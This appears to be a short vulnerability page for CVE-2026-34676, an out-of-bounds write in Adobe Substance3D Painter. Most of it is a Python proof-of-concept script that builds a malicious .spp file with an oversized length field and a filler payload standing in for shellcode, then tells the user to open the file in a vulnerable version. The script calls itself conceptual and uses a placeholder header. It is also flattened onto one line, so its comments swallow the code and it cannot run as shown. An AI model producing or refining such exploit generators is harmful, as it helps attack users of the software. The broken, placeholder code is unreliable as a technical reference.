CVE-2026-34676 Adobe Substance3D Painter越界写入漏洞

import struct # PoC Concept Generator for CVE-2026-34676 # This script generates a malformed file structure intended to trigger # an out-of-bounds write condition in Adobe Substance3D Painter <= 12.0.2. # NOTE: This is a conceptual demonstration. Actual exploitation requires # precise offset calculation and payload crafting based on binary analysis. def create_malicious_file(filename): header = b'SUBSTANCE_FILE_HEADER' # Example header # Malicious block designed to bypass checks and trigger overflow # The 'size' field is manipulated to exceed the allocated buffer size. malicious_size = 0xFFFFFFFF payload = b'A' * 256 # Placeholder for payload (e.g., ROP chain or shellcode) with open(filename, 'wb') as f: f.write(header) # Write the manipulated size field (Little Endian) f.write(struct.pack('<I', malicious_size)) # Write payload that may overflow the buffer f.write(payload) print(f"[+] Malicious file generated: {filename}") print(f"[+] Attempt to open this file in a vulnerable version of Substance3D Painter.") if __name__ == "__main__": create_malicious_file("cve_2026_34676_poc.spp")